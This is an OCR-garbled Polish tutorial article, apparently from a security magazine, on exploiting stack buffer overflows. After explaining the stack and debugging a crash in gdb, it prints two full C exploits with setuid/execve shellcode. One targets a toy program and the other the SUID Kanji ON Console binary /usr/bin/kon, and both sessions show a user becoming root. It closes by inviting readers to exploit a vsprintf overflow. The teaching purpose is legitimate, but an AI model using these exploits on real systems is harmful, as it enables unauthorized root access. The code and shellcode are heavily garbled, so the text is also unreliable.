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w biblioteczce ANSI funkc
strepy(), strca(), sprintf(), vsprintf(), gets(). Niestety
bezpieczne funkcje takie jak fgets(), oraz fgetc() czy getc() i getchar()

zcze
jach z rodziny *printf() (sysloq() tez).
buffer overflow (BO).
2. Teoria
buffer
overflow -

strefy stosu. Dwie pierwsze strefy praktycznie nie m

y sam jest abstrakcyjnym typem
danych. Stos jest typu LIFO (Last In First Out).

stosu. Rysunek 1 onisuie operacje PUSH, arysunek 2 opisuje operacje POP.
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—wskazuj

zwany jest epilogiem funkgji.

Listing 1. prolog.c

void funkcja(in al, int a2, int a3) {
char buf1[5];

char buf2[10];

}

int main() {
funkcja(1,2,3);

# cc -S-o0 prolog.s prolog.c
# cat prolog.s

pushl $3
pushl $2
pushl $1
cdl funkcja

alnychjak i



- Instruction Pointer). Jest on pdrzebny do tego, by procesor podczas, gdy

pushl %ebp
movl %esp,%ebp
subl $20%esp

aktualny adres SPjest kopiowany do EBP (naaviemy go SHP), a sam SP jest przesuwany o rozmiar

y_

SP jest przesuwany o 20 kajtéw (subl $20,%esp). Stos

rysunku 3

drno pamisci zzcEyl pamigci
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Listing 2. victiml.c
int main(int argc, char *argv[]) {
char bufor[100;

if (argv[1]==0) {
printf(" Ussage %s <argument>\n",argv{0]);
exit(-1);

}
strepy(bufor,argv[1]);
return G

}

ktory

—listing 3.



root@localhost:~# gdb victim1
GNU gdb 50
Copyright 2000Free Software Foundition, Inc.
GDB is free software, covered by the GNU General Public License, andyou are
welcome to change it and/or distribute mpies of it under certain condtions.
Type "show copying" to see the condtions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux'...
(gdb) r “perl -e'print "A"x108" // komenda“r" oznacza“run’
1l
Starting program:
/root/victiml “perl -e 'print "A"x108"
Program received signal SIGSEGV, Segmentation fault.

0x41414141n?? ()
(gdb) info reg eip /I info pokazoje informacje o czym chcemy reg to skrut od
I registers—czyli rejestry a @p to nazwa interesujacego nas
/I rejestrul...
ep 0x41414141 0x41414141
(gdb) quit // wychodzimy z programul...
) Aperl-e
©print "A"x1080A
wynosi on 0x41414141 A wynosi 65, aco zatym idzie w systemie
szesnastkowym wynaosi ona 0x41
- [bin/sh
a

ustawiony atryburet SUID

przed naszym shellcodem bardz

[ instrukcje NOP] [ nasz shellcode ] [ zmieniony RET ]

0xc0000000
ret=0xc0000000strlen(shel lcode)-strlen(program)-4;




(listing 4).
Listing 4. expl.c
#include <stdio.h>

#include <stdlib.h>
#include <string.h>

#include <unistd.h>

#include <getopt.h>

#define PATH " /victim1" /

#define BUFS 110 // buff or podany jako argument
#define SHELL 512 /I pomocniczy buffor

#define NOP 0x90 I instrukcja NOP

/* nasz shellcode z 2 dodatkowymi funkcjami */

unsigned char shell code[] =
"\X31\xdb\x8Axd8\xbO\x1 Axcd\x80" // setuid(0);
"\X31\xcO\X50x50xbO\xb5\xcd\x80" // setgid(0);
"\X31\Xd2AX52Ax68\x6e\x2f\x 7 3X68\x68\x2f\x 2f\X6 Ax 69"
"\X8Axe3\x52x53x8Axel\x8d\x4 2Ax0b\xcd\x80";

long ret_ad(char *al, char *a2) {

return (OxcO00000@strlen(al)-strlen(a2)-4);
}

int ussage(char *arg) {

printf("\n\t...::: -=[ exploit na program vulnl]=-:::..\n");
printf("\n\tUssage:\n\t[+] %s [options]\n
-? <this help screen>
-0 <off set>
-p PATH\n\n" ,arg);
exit(-1);
}

int main(int argc, char *argv]) {

/* lokalne zmienne pomaocnicze */
long ret,*ret_addr;
char *buf,*buf_addr,*buf_addr2,*path=PATH,*sh;

NOP, oraz shellcode, a jako



int i,opt,off set=0;
FILE *fp;

while((opt = getopt(argc,argv,”p:0:?")) 1=-1) {
switch(opt) {

case ©00:

off set=atoi (opta
break;

case ©po:

path=optarg; /I path dovulnl programu
bre&;

case ©70:

bres;

default:

ussage(argv{0])
bre&;

}

[* Sprawdzamy czy program istnigje */

if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tl can\©t open path to victim! %s\t*\n\n",path);
ussage(argv[0]);

[* alokujemy migjsce na nasz bufor podany jako argument */
if (!(buf=(char*)malloc(BUFS))) {

printf("\nl can\©t locate memory! buf\n");

exit(-1);
}

[* alokujemy migjsce na nasz bufor pomocniczy */
if (!(sh=(char*)malloc(SHELL))) {
printf("\nl can\©t locate memory! shell\n");
exit(-1);
}

printf("\n\t...::: -=[ exploit na program vulnl]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");



}

ret_addr=(long* )ret+offset; // dodgjemy off set - dodgjemy a nie odejmujemy

printf("\t[+] Using adres 0x%x\n",ret_addr);

[* przygotowanie do zgpisu adresu powrotnego */

buf_addr=Dbuf;

buf_addr2=buf_addr;

[* zapisujemy do buoru podanego jako argument adres powrotny */

while(buf_addr2-buf <= BUFS-5) {
(*(unsigned long*)buf_addr2)=ret_addr;

buf_addr2[BUFS-4]=@0©;

for(i=0;i<(SHELL);i++)
sh[i]=NOP;

zapisywany shellcode */
buf_addr = sh + ((SHELL)-strlen(shellcode)-1);

for(i=0;i<strlen(shell code);i++)
*(buf_addr++) = shellcode]i];

zy */
sh[SHELL] = @®;

printf("\nExecuting the vuln program - %s\n\n",path);

[* uruchamiamy nasz program, ajako argument podgjemy nasz bufor */
execl(path,path,buf,0);

return O;

Skompilujemy teraz nasz epxloit i zobaczymy czy

# chmod +x victim1
$ccexplc-oexpl
$ whoami



user
$ ./expl

# whoami
root

3. Real

(http://securityfocus.com/advisories/5434

Listing 5. Debugowanie kon' a.

root@localhost:~# gdb kon

GNU gdb 50

Copyright 2000Free Software Foundition, Inc.

GDB is free software, covered hy the GNU General Public License, and you are
welcome to change it and/or distribute mpies of it under certain condtions.
Type "show copying" to see the condtions.

There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux'...(no debugging symbals
found...

(gdb) r -Coding Aperl-e ©print "A"x8000A

Starting program: /ust/bin/kon -Coding Aperl-e ©print "A"x8000A

Kanji ON Console ver.0.3.9 (200004/09)

KON> video type VGA® selected
KON> hardware scroll mode.

Program received signal SIGSEGV, Segmentation fault.
0x41414147in 72 ()

(gdb) inforeg eip

eip 0x41414141 0x41414141

(gdb) quit

Voilal

Listing 6. exp2.c



#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "/usr/bin/kon"
#define BUFS 800

char shellcode]] = "\x31\xdb\x31\xcO\x31\xd 2Axb2x2d\x6a\x0a\x68\x3a"

/*

/*

/*

/*

"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
"\Xx3d\x68\x6e\x 74\x2e\x70\x68\x6AXx33\x2e\x69\x68"
"\X7AX7 \Xx2e\x70\x68\x3d\x5h\x20\x 7 Ax68\x3a\x3a"
"\x20\x2d\x68\x 2e\x2e\x2e\x3a\x89\xel\xbOhx04\xcd"
"\x80"

setuid(0) */
"\x31\xdb\x89\xd8\xbO\x1 Axcd\x80"

setgid(0) */
"\x31\xdb\x89\xd8\xbO\x2e\xcd\x80"

exec /bin/sh  */
"\x31\xcO\x50\x68\x 2f\x 2f\x 7 3x68\x 6 8\x 2f\x 6 2\x 69"
"\x6e\x8Axe3\x50x53x8Axel\x31\xd2AxbO\x0b\xcd"
"\x80"

exit(0) */

"\x31\xdb\x89\xd8\xbO\x01\xcd\x80";

long ret_ad(char *al, char *a2) {

}

return (Oxbffffff a-strlen(al)-strien(a2));

int ussage(char *arg) {

}

-? <this help screen>
-0 <off set>
-p PATH\n\n" ,arg);

exit(-1);

printf("\n\t...::: -=[ exploit for Konversion 03.9b-16 (by pi3) ]=-:::...\n"
printf("\n\tUssage:\n\t[+] %s [options]\n



int main(int argc, char *argv]) {

long ret,*buf_addr;

char *buf,*path=PATH,;

static char *sh[] ={ shellcode,NULL};
int i,opt,off set=0;

FILE *fp;

while((opt = getopt(argc,argv,”"p:0:?")) 1=-1) {
switch(opt) {

case ©00:

off set=atoi (optarg);
bre&;

case ©po:

path=optarg;
bre&;

case ©70:
default:

ussage(argv{0]);
bre&;

}
}

if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tl can\©t open path to victim! %s\t*\n\n",path);
ussage(argv{0]);

} fclose(fp);

if (!(buf=(char*)malloc(BUFS))) {
printf("\nl can\©t locate memory! buf\n");
exit(-1);

}

printf("\n\t...::: -=[ exploit for Konversion 03.9b-16 (by pi3) ]=- :::..\n");
printf("\n\t[+] Bulding bufforsi\n");

ret=ret_ad(shellcode,path);
ret+=off set;

printf("\t[+] Using adres 0x%x\n" ret);

buf_addr=(long*)buf;



for(i=0;i<BUFSi+=4) {
*(buf_addr) = ret; buf_addr++;
}

printf("\nExecuting the vuln program - %s\n\n",path);
exede(path,path,"-Coding", buf, O, sh);

return O;

NULL (®

$ whoami

user

$ Is—alh /usr/bin/kon

-rwsr-xr-x  1root root 45k Jul 52057 /usr/bin/kon*
$ cc exp2.c -0 exp2

$ ./exp2

k.ON> video type VGAO selected
KON> hardware scroll mode.

# whoami
root
#

(exploitowania).

-=[ www.pi3.int.pl ]=-
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P

http://www.seaurityfocus.com/archive/1/338436:

int SockPrintf(FILE * sockfp, char *format,...)

{
va list ap;
char buf[ 32769;

va_start(ap, format);
vsprintf(buf, format, ap);

va_end(ap);
return SockWrite(buf, 1, strlen(buf), sockfp);

i napiszcie exploita;).

(http://securityfocus.com/archive/l

stronie packetstorm (http://www.packetstormsecurity.nl).
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